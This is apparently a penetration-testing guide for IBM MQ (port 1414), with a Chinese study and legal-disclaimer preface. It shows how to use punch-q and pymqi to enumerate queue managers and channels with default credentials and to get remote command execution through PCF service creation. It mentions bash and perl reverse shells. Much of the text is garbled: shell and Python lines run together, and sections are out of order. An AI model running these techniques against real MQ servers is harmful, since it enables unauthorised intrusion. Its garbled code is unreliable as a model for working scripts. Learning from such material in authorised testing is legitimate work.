💡 学习提示: 本文档介绍 1414 - IBM MQ 的渗透测试方法,适合信息安全初学者和从业人员参考。
⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。
if[${BUILD_PLATFORM} !=`uname`_`uname ${UNAME_FLAG}`]then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1fi
Then, temporary add the .so files to LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, before running other tools using these dependencies.
Then, you can clone the project pymqi: it contains interesting code snippets, constants, … Or you can directly install the library with: pip install pymqi.
Using punch-q
With Docker
Simply use: sudo docker run --rm -ti leonjza/punch-q.
Without Docker
Clone the project punch-q then follow the readme for installation (pip install -r requirements.txt && python3 setup.py install).
After, it can be used with punch-q command.
信息收集
You can try to enumerate the queue manager name, the users, the channels and the queues with punch-q or pymqi.
Queue Manager
Sometimes, there is no protection against getting the Queue Manager name:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Channels
punch-q is using an internal (modifiable) wordlist to find existing channels. 用法 example:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
It happens that some IBM MQ instances accept unauthenticated MQ requests, so --username / --password is not needed. Of course, access rights can also vary.
As soon as we get one channel name (here: DEV.ADMIN.SVRCONN), we can enumerate all other channels.
The enumeration can basically be done with this code snippet code/examples/dis_channels.py from pymqi:
Do not hesitate to iterate on all identified queues.
Code execution
Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in IBM MQ documentation. PCF (Programmable Command Formats) is what we are focused on to interact remotely with the instance. punch-q and furthermore pymqi are based on PCF interactions.
One interesting command is MQCMD_CREATE_SERVICE and its documentation is available here. It takes as argument a StartCommand pointing to a local program on the instance (example: /bin/sh).
There is also a warning of the command in the docs: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at /admin/action/qmgr/{qmgrName}/mqsc to run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.
The service creation / deletion with PCF for remote program execution can be done by punch-q:
In the logs of IBM MQ, you can read the command is successfully executed:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
You can also enumerate existing programs on the machine (here /bin/doesnotexist … does not exist):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit(listener for reverse shell, file creation on different service, data exfiltration through network …)
示例 2
For easy reverse shell, punch-q proposes also two reverse shell payloads :
One with bash
One with perl
Of course you can build a custom one with the execute command.
You can dig into the IBM MQ documentation and directly use pymqi python library to test specific PCF command not implemented in punch-q.
示例:
import pymqi
queue_manager ='MYQUEUEMGR'channel ='DEV.ADMIN.SVRCONN'host ='172.17.0.2'port ='1414'conn_info ='%s(%s)'% (host, port)
user ='admin'password ='passw0rd'qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command# The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process responseqmgr.disconnect()
If you cannot find the constant names, you can refer to the IBM MQ documentation.
_Example for MQCMD_REFRESH_CLUSTER (Decimal = 73). It needs the parameter MQCA_CLUSTER_NAME (Decimal = 2029) which can be _ (Doc: ):*
By default, the authentication is enabled, the username is admin and the password is passw0rd (Environment variable MQ_ADMIN_PASSWORD).
Here, the queue manager name has been set to MYQUEUEMGR (variable MQ_QMGR_NAME).
You should have the IBM MQ up and running with its ports exposed:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver"3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq